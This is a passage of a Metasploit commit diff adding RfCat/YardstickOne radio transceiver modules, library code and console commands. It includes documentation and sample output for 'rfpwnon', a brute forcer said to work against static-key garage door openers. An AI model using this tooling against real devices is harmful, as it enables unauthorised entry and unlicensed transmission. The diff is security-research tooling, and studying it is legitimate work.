mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Initial patch for rftransceiver (RfCat / YardstickOne)
This commit is contained in:
parent
7f444c3b23
commit
2fde287424
88
documentation/modules/post/hardware/rftransceiver/rfpwnon.md
Normal file
88
documentation/modules/post/hardware/rftransceiver/rfpwnon.md
Normal file
@ -0,0 +1,88 @@
|
|||||||
|
Brute force utility by LegacySecurityGroup and the original can be found
|
||||||
|
[here](https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py).
|
||||||
|
It's a generic AM/OOK brute forcer with PWM translations. It has been
|
||||||
|
demonstrated to work against static key garage door openers.
|
||||||
|
|
||||||
|
## Options ##
|
||||||
|
|
||||||
|
**FREQ**
|
||||||
|
|
||||||
|
Frequency to brute force.
|
||||||
|
|
||||||
|
**BAUD**
|
||||||
|
|
||||||
|
Baud rate: Default: 2000
|
||||||
|
|
||||||
|
**BINLENGTH**
|
||||||
|
|
||||||
|
Binary bit-length for bruteforcing. Default: 8
|
||||||
|
|
||||||
|
**REPEAT**
|
||||||
|
|
||||||
|
How many times to repeat the sending of the packet. Default: 5
|
||||||
|
|
||||||
|
**PPAD**
|
||||||
|
|
||||||
|
Binary data to append to packet. Example: "0101" Default: None
|
||||||
|
|
||||||
|
**TPAD**
|
||||||
|
|
||||||
|
Binary data to add to end of packet. Example: "0101" Default: None
|
||||||
|
|
||||||
|
**RAW**
|
||||||
|
|
||||||
|
Do not do PWM encoding on packet, Default: False
|
||||||
|
|
||||||
|
**TRI**
|
||||||
|
|
||||||
|
Use trinary signals. Default False
|
||||||
|
|
||||||
|
**EXTRAVERBOSE**
|
||||||
|
|
||||||
|
Adds some extra status messages
|
||||||
|
|
||||||
|
**INDEX**
|
||||||
|
|
||||||
|
USB Index number. Default 0
|
||||||
|
|
||||||
|
**DELAY**
|
||||||
|
|
||||||
|
How many milliseconds to delay before transmission. Too fast tends to lock up the device. Default 0.5 seconds (500)
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
Run a brute force of 6 characters long with 2 repeats:
|
||||||
|
|
||||||
|
```
|
||||||
|
hwbridge > run post/hardware/rftransceiver/rfpwnon FREQ=915000000 BINLEGTH=6 REPEAT=2
|
||||||
|
|
||||||
|
[*] Generating de bruijn sequence...
|
||||||
|
[*] Brute forcing frequency: 915000000
|
||||||
|
[*] Transmitting...
|
||||||
|
[*] Binary before PWM encoding:
|
||||||
|
[*] 00000000
|
||||||
|
[*] Binary after PWM encoding:
|
||||||
|
[*] 11101110111011101110111011101110
|
||||||
|
[*] Transmitting...
|
||||||
|
[*] Binary before PWM encoding:
|
||||||
|
[*] 00000000
|
||||||
|
[*] Binary after PWM encoding:
|
||||||
|
[*] 11101110111011101110111011101110
|
||||||
|
[*] Transmitting...
|
||||||
|
[*] Binary before PWM encoding:
|
||||||
|
[*] 00000001
|
||||||
|
[*] Binary after PWM encoding:
|
||||||
|
[*] 11101110111011101110111011101000
|
||||||
|
[*] Transmitting...
|
||||||
|
[*] Binary before PWM encoding:
|
||||||
|
[*] 00000001
|
||||||
|
[*] Binary after PWM encoding:
|
||||||
|
[*] 11101110111011101110111011101000
|
||||||
|
[*] Transmitting...
|
||||||
|
[*] Binary before PWM encoding:
|
||||||
|
[*] 00000010
|
||||||
|
[*] Binary after PWM encoding:
|
||||||
|
[*] 11101110111011101110111010001110
|
||||||
|
[*] Transmitting...
|
||||||
|
...
|
||||||
|
```
|
@ -0,0 +1,40 @@
|
|||||||
|
Simple module to transmit a given frequency for a specified amount of seconds. This
|
||||||
|
code was ported from [AndrewMohowk](https://github.com/AndrewMohawk).
|
||||||
|
|
||||||
|
NOTE: Users of this module should be aware of their local laws,
|
||||||
|
regulations, and licensing requirements for transmitting on any
|
||||||
|
given radio frequency.
|
||||||
|
|
||||||
|
|
||||||
|
## Options ##
|
||||||
|
|
||||||
|
**FREQ**
|
||||||
|
|
||||||
|
Frequency to brute force.
|
||||||
|
|
||||||
|
**BAUD**
|
||||||
|
|
||||||
|
Baud rate: Default: 4800
|
||||||
|
|
||||||
|
**POWER**
|
||||||
|
|
||||||
|
Power level to specify. Default: 100
|
||||||
|
|
||||||
|
**SECONDS**
|
||||||
|
|
||||||
|
How many seconds to trnamit the signal. Default: 4
|
||||||
|
|
||||||
|
**INDEX**
|
||||||
|
|
||||||
|
USB Index number. Default 0
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
Transmit a given signal for 4 seconds
|
||||||
|
|
||||||
|
```
|
||||||
|
hwbridge > run post/hardware/rftransceiver/transmitter FREQ=433880000
|
||||||
|
|
||||||
|
[*] Transmitting on 433880000 for 15 seconds...
|
||||||
|
[*] Finished transmitting
|
||||||
|
```
|
@ -167,6 +167,15 @@ class HWBridge < Rex::Post::HWBridge::Client
|
|||||||
console.disable_output = original
|
console.disable_output = original
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Loads the rftranceiver extension
|
||||||
|
#
|
||||||
|
def load_rftransceiver
|
||||||
|
original = console.disable_output
|
||||||
|
console.disable_output = true
|
||||||
|
console.run_single('load rftransceiver')
|
||||||
|
console.disable_output = original
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Load custom methods provided by the hardware
|
# Load custom methods provided by the hardware
|
||||||
#
|
#
|
||||||
|
@ -3,4 +3,5 @@ module Msf::Post::Hardware
|
|||||||
require 'msf/core/post/hardware/automotive/uds'
|
require 'msf/core/post/hardware/automotive/uds'
|
||||||
require 'msf/core/post/hardware/automotive/dtc'
|
require 'msf/core/post/hardware/automotive/dtc'
|
||||||
require 'msf/core/post/hardware/zigbee/utils'
|
require 'msf/core/post/hardware/zigbee/utils'
|
||||||
|
require 'msf/core/post/hardware/rftransceiver/rftransceiver'
|
||||||
end
|
end
|
||||||
|
298
lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb
Normal file
298
lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb
Normal file
@ -0,0 +1,298 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
module Msf
|
||||||
|
class Post
|
||||||
|
module Hardware
|
||||||
|
module RFTransceiver
|
||||||
|
|
||||||
|
module RFTransceiver
|
||||||
|
|
||||||
|
attr_accessor :index
|
||||||
|
|
||||||
|
# Validates success of a function call
|
||||||
|
# @param r [Hash] A hash in expected format { "success" => true }
|
||||||
|
# @return [Boolean] if success is true or not, returns false if hash is wrong
|
||||||
|
def return_success(r)
|
||||||
|
return false if not r
|
||||||
|
return false if not r.has_key? "success"
|
||||||
|
return r["success"]
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checks to see if this module is a RF Transceiver module
|
||||||
|
# @return [Boolean] true if client.rftransceiver is loaded
|
||||||
|
def is_rf?
|
||||||
|
return true if client.rftransceiver
|
||||||
|
print_error("Not an RFTransceiver module")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns a list of supported USB indexes by relay
|
||||||
|
# @return [Array] Example: [ 0, 1 ]
|
||||||
|
def get_supported_indexes
|
||||||
|
return [] if not is_rf?
|
||||||
|
r = client.rftransceiver.supported_idx
|
||||||
|
if r.has_key? "indexes"
|
||||||
|
return r["indexes"]
|
||||||
|
end
|
||||||
|
print_error("Invalid response from relay")
|
||||||
|
return []
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the target USB index
|
||||||
|
# @param idx [Integer]
|
||||||
|
def set_index(idx)
|
||||||
|
self.index = idx
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the frequency
|
||||||
|
# @param freq [Integer] Example: 433000000
|
||||||
|
# @param mhz [Integer] Optional Mhz
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_freq(freq, mhz=-1)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
opts = {}
|
||||||
|
opts["mhz"] = mhz if not mhz == -1
|
||||||
|
r = client.rftransceiver.set_freq(self.index, freq, opts)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the mode TX, RX or Idle
|
||||||
|
# @param mode [String] Mode type TX/RX/IDLE
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_mode(mode)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
r = client.rftransceiver.set_mode(self.index, mode)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Gets supported modulations
|
||||||
|
# @return [Array] String list of modulations
|
||||||
|
def get_modulations
|
||||||
|
return [] if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
return client.rftransceiver.get_supported_modulations(self.index)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the modulation
|
||||||
|
# @param mod [String] Example ASK/OOK
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_modulation(mod)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
r = client.rftransceiver.set_modulation(self.index, mod)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets packet's fixed length
|
||||||
|
# @param len [Integer] Length of packet
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_flen(len)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
r = client.rftransceiver.make_pkt_flen(self.index, len)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets packet's variable length
|
||||||
|
# @param len [Integer] Length of packet
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_vlen(len)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
r = client.rftransceiver.make_pkt_vlen(self.index, len)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Transmits a RF Packet. All data is base64 encoded before transmition to relay
|
||||||
|
# @param data [String] Blog of data stored in a string. Could be binary
|
||||||
|
# @param repeat [Integer] Optional Repeat transmission
|
||||||
|
# @param offset [Integer] Optional Offset within data section
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def rfxmit(data, repeat=-1, offset=-1)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
opts = {}
|
||||||
|
opts["repeat"] = repeat if not repeat == -1
|
||||||
|
opts["offset"] = offset if not offset == -1
|
||||||
|
r = client.rftransceiver.rfxmit(self.index, data, opts)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Receive a packet
|
||||||
|
# @param timeout [Integer] Optional timeout value
|
||||||
|
# @param blocksize [Integer] Optional blocksize
|
||||||
|
# @return [String] Base64 decoded data, could be binary
|
||||||
|
def rfrecv(timeout = -1, blocksize = -1)
|
||||||
|
return "" if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
opts["timeout"] = timeout if not timeout == -1
|
||||||
|
opts["blocksize"] = blocksize if not blocksize == -1
|
||||||
|
client.rftransceiver.rfrecv(self.index, opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Enable packet CRC
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def enable_crc
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
r = client.rftransceiver.enable_packet_crc(self.index)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Enable Manchester encoding
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def enable_manchester
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
r = client.rftransceiver.enable_manchester(self.index)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the channel
|
||||||
|
# @param channel [Integer] Channel number
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_channel(channel)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
r = client.rftransceiver.set_channel(self.index, channel)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the channel bandwidth
|
||||||
|
# @param bandwidth [Integer] Bandwidth value
|
||||||
|
# @param mhz [Integer] Mhz
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_channel_bw(bandwidth, mhz=-1)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
opts = {}
|
||||||
|
opts["mhz"] = mhz if not mhz == -1
|
||||||
|
r = client.rftransceiver.set_channel_bandwidth(self.index, bandwidth, opts)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Calculates the appropriate exponent and mantissa and updates the correct registers
|
||||||
|
# chanspc is in kHz. if you prefer, you may set the chanspc_m and chanspc_e settings directly.
|
||||||
|
# only use one or the other:
|
||||||
|
# * chanspc
|
||||||
|
# * chanspc_m and chanspc_e
|
||||||
|
# @param chanspc [Integer]
|
||||||
|
# @param chanspc_m [Integer]
|
||||||
|
# @param chanspc_e [Integer]
|
||||||
|
# @param mhz [Integer] Mhz
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_channel_spc(chanspc = -1, chanspc_m = -1, chanspc_e = -1, mhz=-1)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
opts = {}
|
||||||
|
opts["chanspc"] = chanspc if not chanspc == -1
|
||||||
|
opts["chanspc_m"] = chanspc_m if not chanspc_m == -1
|
||||||
|
opts["chanspc_e"] = chanspc_e if not chanspc_e == -1
|
||||||
|
opts["mhz"] = mhz if not mhz == -1
|
||||||
|
r = client.rftransceiver.set_channel_spc(self.index, opts)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the baud rate
|
||||||
|
# @param baud [Integer] baud rate
|
||||||
|
# @param mhz [Integer] Optional Mhz
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_baud(baud, mhz=-1)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
opts = {}
|
||||||
|
opts["mhz"] = mhz if not mhz == -1
|
||||||
|
r = client.rftransceiver.set_baud_rate(self.index, baud, opts)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the deviation
|
||||||
|
# @param deviat [Integer] deviat value
|
||||||
|
# @param mhz [Integer] Optional mhz
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_deviation(deviat, mhz=-1)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
opts = {}
|
||||||
|
opts["mhz"] = mhz if not mhz == -1
|
||||||
|
r = client.rftransceiver.set_deviation(self.index, deviat, opts)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets sync word
|
||||||
|
# @param word [Integer] Sync word
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_sync_word(word)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
r = client.rftransceiver.set_sync_word(self.index, word)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the sync mode
|
||||||
|
# @param mode [Integer] Mode
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_sync_mode(mode)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
r = client.rftransceiver.set_sync_mode(self.index, mode)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the number of preamble bits
|
||||||
|
# @param bits [Integer] number of preamble bits to use
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_preamble(bits)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
r = client.rftransceiver.set_number_preamble(self.index, bits)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the power to max. Ensure you set the frequency first before using this
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def max_power
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
r = client.rftransceiver.set_maxpower(self.index)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Set power level
|
||||||
|
# @param level [Integer] Power level
|
||||||
|
# @return [Boolean] success value
|
||||||
|
def set_power(level)
|
||||||
|
return false if not is_rf?
|
||||||
|
self.index ||= 0
|
||||||
|
r = client.rftransceiver.set_power(self.index, level)
|
||||||
|
return_success(r)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
@ -70,6 +70,21 @@ class Client
|
|||||||
send_request("/custom_methods")
|
send_request("/custom_methods")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sends a reset signal to the device to perform a software bounce or a full
|
||||||
|
# factory reset. Depends on how the device decided to handle it
|
||||||
|
#
|
||||||
|
def reset
|
||||||
|
send_request("/control/factory_reset")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sends a reboot signal to reboot the device.
|
||||||
|
#
|
||||||
|
def reboot
|
||||||
|
send_request("/control/reboot")
|
||||||
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Alias processor
|
# Alias processor
|
||||||
|
203
lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb
Normal file
203
lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb
Normal file
@ -0,0 +1,203 @@
|
|||||||
|
#
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/post/hwbridge/client'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module HWBridge
|
||||||
|
module Extensions
|
||||||
|
module RFTransceiver
|
||||||
|
|
||||||
|
###
|
||||||
|
# RF Tranceiver extension - set of commands to be executed on Trancievers like the TI cc11XX
|
||||||
|
###
|
||||||
|
|
||||||
|
class RFTransceiver < Extension
|
||||||
|
|
||||||
|
def initialize(client)
|
||||||
|
super(client, 'rftransceiver')
|
||||||
|
|
||||||
|
# Alias the following things on the client object so that they
|
||||||
|
# can be directly referenced
|
||||||
|
client.register_extension_aliases(
|
||||||
|
[
|
||||||
|
{
|
||||||
|
'name' => 'rftransceiver',
|
||||||
|
'ext' => self
|
||||||
|
}
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
# Gets supported USB Indexes
|
||||||
|
# @return [Array] Indexes
|
||||||
|
def supported_idx
|
||||||
|
client.send_request("/rftransceiver/supported_idx")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sets the frequency
|
||||||
|
# @param idx [Integer] HW Index
|
||||||
|
# @param opt [Hash] Optional: "mhz" => 24
|
||||||
|
# @param freq [Integer] Frequency to set
|
||||||
|
def set_freq(idx, freq, opt={})
|
||||||
|
request = "/rftransceiver/#{idx}/set_freq?freq=#{freq}"
|
||||||
|
request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz"
|
||||||
|
client.send_request(request)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Retrieves a list of supported Modulations
|
||||||
|
# @param idx [Integer] HW Index
|
||||||
|
# @return [Array] of Modulation strings
|
||||||
|
def get_supported_modulations(idx)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/get_modulations")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sets the mode
|
||||||
|
# @param idx [Integer] HW Index
|
||||||
|
# @param mode [String] Either RX, TX or IDLE
|
||||||
|
def set_mode(idx, mode)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/set_mode?mode=#{mode}")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sets the modulation value
|
||||||
|
# @param idx [Integer] HW Index
|
||||||
|
# @param mod [String] Modulation Technique
|
||||||
|
def set_modulation(idx, mod)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/set_modulation?mod=#{mod}")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sets fixed packet len
|
||||||
|
# @param idx [Integer] HW Index
|
||||||
|
# @param len [Integer] Length to set
|
||||||
|
def make_pkt_flen(idx, len)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/make_packet_flen?len=#{len}")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sets variable packet len
|
||||||
|
# @param idx [Integer] HW Index
|
||||||
|
# @param len [Integer] Length to set
|
||||||
|
def make_pkt_vlen(idx, len)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/make_packet_vlen?len=#{len}")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Transmits data
|
||||||
|
# @param idx [Integer] HW Index
|
||||||
|
# @param data [String] Data to transmit
|
||||||
|
# @param opt [Hash] Optional parameters: "repeat" => Integer, "offset" => Integer
|
||||||
|
def rfxmit(idx, data, opt={})
|
||||||
|
data = Base64.encode64(data)
|
||||||
|
request = "/rftransceiver/#{idx}/rfxmit?data=#{data}"
|
||||||
|
request += "&repeat=#{opt["repeat"]}" if opt.has_key? "repeat"
|
||||||
|
request += "&offset=#{opt["offset"]}" if opt.has_key? "offset"
|
||||||
|
client.send_request(request)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Receives a packet
|
||||||
|
# @param idx [Integer] HW Index
|
||||||
|
# @param opt [Hash] Optional parameters: "timeout" => Integer, "blocksize" => Integer
|
||||||
|
# @return [Hash] "data" => <recieved data> "timestamp" => When it was received
|
||||||
|
def rfrecv(idx, opt={})
|
||||||
|
request = "/rftransceiver/#{idx}/rfrecv"
|
||||||
|
if opt.size() > 0
|
||||||
|
first = true
|
||||||
|
request += "?"
|
||||||
|
if opt.has_key? "timeout"
|
||||||
|
request += "timeout=#{opt["timeout"]}"
|
||||||
|
first = false
|
||||||
|
end
|
||||||
|
if opt.has_key? "blocksize"
|
||||||
|
request += "&" if not first
|
||||||
|
request += "blocksize=#{blocksize}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
data = client.send_request(request)
|
||||||
|
# Note the data is initially base64 encoded
|
||||||
|
if data.size() > 0
|
||||||
|
data["data"] = Base64.decode64(data["data"]) if data.has_key? "data"
|
||||||
|
end
|
||||||
|
data
|
||||||
|
end
|
||||||
|
|
||||||
|
def enable_packet_crc(idx)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/enable_packet_crc")
|
||||||
|
end
|
||||||
|
|
||||||
|
def enable_manchester(idx)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/enable_machester")
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_channel(idx, channel)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/set_channel?channel=#{channel}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_channel_bandwidth(idx, bandwidth, opt={})
|
||||||
|
request = "/rftransceiver/#{idx}/set_channel_bandwidth?bw=#{bandwidth}"
|
||||||
|
request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz"
|
||||||
|
client.send_request(request)
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_channel_spc(idx, opt={})
|
||||||
|
request = "/rftransceiver/#{idx}/set_channel_spc"
|
||||||
|
if opt.size > 0
|
||||||
|
request += "?"
|
||||||
|
first = true
|
||||||
|
if opt.has_key? "chanspc"
|
||||||
|
request += "chanspc=#{opt["chanspc"]}"
|
||||||
|
first = false
|
||||||
|
end
|
||||||
|
if opt.has_key? "chanspc_m"
|
||||||
|
request += "&" if not first
|
||||||
|
request += "chanspc_m=#{opt["chanspc_m"]}"
|
||||||
|
first = false
|
||||||
|
end
|
||||||
|
if opt.has_key? "chanspc_e"
|
||||||
|
request += "&" if not first
|
||||||
|
request += "chanspc_e=#{opt["chanspc_e"]}"
|
||||||
|
first = false
|
||||||
|
end
|
||||||
|
if opt.has_key? "mhz"
|
||||||
|
request += "&" if not first
|
||||||
|
request += "mhz=#{opt["mhz"]}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
client.send_request(request)
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_baud_rate(idx, rate, opt={})
|
||||||
|
request = "/rftransceiver/#{idx}/set_baud_rate?rate=#{rate}"
|
||||||
|
request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz"
|
||||||
|
client.send_request(request)
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_deviation(idx, deviat, opt={})
|
||||||
|
request = "/rftransceiver/#{idx}/set_deviation?deviat=#{deviat}"
|
||||||
|
request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz"
|
||||||
|
client.send_request(request)
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_sync_word(idx, word)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/set_sync_word?word=#{word}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_sync_mode(idx, mode)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/set_sync_mode?mode=#{mode}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_number_preamble(idx, num)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/set_number_preamble?num=#{num}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_maxpower(idx)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/set_maxpower")
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_power(idx, power)
|
||||||
|
client.send_request("/rftransceiver/#{idx}/set_power?power=#{power}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
@ -57,6 +57,8 @@ class Console::CommandDispatcher::Core
|
|||||||
"bglist" => "Lists running background scripts",
|
"bglist" => "Lists running background scripts",
|
||||||
"status" => "Fetch bridge status information",
|
"status" => "Fetch bridge status information",
|
||||||
"specialty" => "Hardware devices specialty",
|
"specialty" => "Hardware devices specialty",
|
||||||
|
"reset" => "Resets the device. Some devices this is a full factory reset",
|
||||||
|
"reboot" => "Reboots the device. Usually only supported by stand-alone devices",
|
||||||
"load_custom_methods" => "Loads custom HW commands if any"
|
"load_custom_methods" => "Loads custom HW commands if any"
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -177,6 +179,9 @@ class Console::CommandDispatcher::Core
|
|||||||
op = "No" if status["operational"] == 2
|
op = "No" if status["operational"] == 2
|
||||||
print_status("Operational: #{op}")
|
print_status("Operational: #{op}")
|
||||||
end
|
end
|
||||||
|
print_status("Device: #{status["device_name"]}") if status.has_key? "device_name"
|
||||||
|
print_status("FW Version: #{status["fw_version"]}") if status.has_key? "fw_version"
|
||||||
|
print_status("HW Version: #{status["hw_version"]}") if status.has_key? "hw_version"
|
||||||
end
|
end
|
||||||
|
|
||||||
def cmd_specialty_help
|
def cmd_specialty_help
|
||||||
@ -196,6 +201,39 @@ class Console::CommandDispatcher::Core
|
|||||||
print_line client.exploit.hw_specialty.to_s
|
print_line client.exploit.hw_specialty.to_s
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def cmd_reset_help
|
||||||
|
print_line("Resets the device. In some cases this can be used to perform a factory reset")
|
||||||
|
print_line
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Performs a device reset or factory reset
|
||||||
|
#
|
||||||
|
def cmd_reset(*args)
|
||||||
|
if args.length > 0
|
||||||
|
cmd_reset_help
|
||||||
|
return
|
||||||
|
end
|
||||||
|
client.reset
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_reboot_help
|
||||||
|
print_line("Reboots the device. This command typically only works on independent devices that")
|
||||||
|
print_line("are not attached to a laptop or other system")
|
||||||
|
print_line
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Perform a device reboot
|
||||||
|
#
|
||||||
|
def cmd_reboot(*args)
|
||||||
|
if args.length > 0
|
||||||
|
cmd_reboot_help
|
||||||
|
return
|
||||||
|
end
|
||||||
|
client.reboot
|
||||||
|
end
|
||||||
|
|
||||||
def cmd_load_custom_methods_help
|
def cmd_load_custom_methods_help
|
||||||
print_line("Usage: load_custom_methods")
|
print_line("Usage: load_custom_methods")
|
||||||
print_line
|
print_line
|
||||||
|
@ -0,0 +1,587 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/post/hwbridge'
|
||||||
|
require 'msf/core/auxiliary/report'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module HWBridge
|
||||||
|
module Ui
|
||||||
|
###
|
||||||
|
# Automotive extension - set of commands to be executed on CAN bus
|
||||||
|
###
|
||||||
|
class Console::CommandDispatcher::RFtransceiver
|
||||||
|
include Console::CommandDispatcher
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
#
|
||||||
|
# List of supported commands.
|
||||||
|
#
|
||||||
|
def commands
|
||||||
|
all = {
|
||||||
|
'supported_idx' => 'suppored USB indexes',
|
||||||
|
'idx' => 'sets an active idx',
|
||||||
|
'freq' => 'sets the frequency',
|
||||||
|
'modulation' => 'sets the modulation',
|
||||||
|
'flen' => 'sets the fixed length packet size',
|
||||||
|
'vlen' => 'sets the variable lenght packet size',
|
||||||
|
'xmit' => 'transmits some data',
|
||||||
|
'recv' => 'receive a packet of data',
|
||||||
|
'enable_crc' => 'enables crc',
|
||||||
|
'enable_manchester' => 'enales manchester encoding',
|
||||||
|
'channel' => 'sets channel',
|
||||||
|
'channel_bw' => 'sets the channel bandwidth',
|
||||||
|
'baud' => 'sets the baud rate',
|
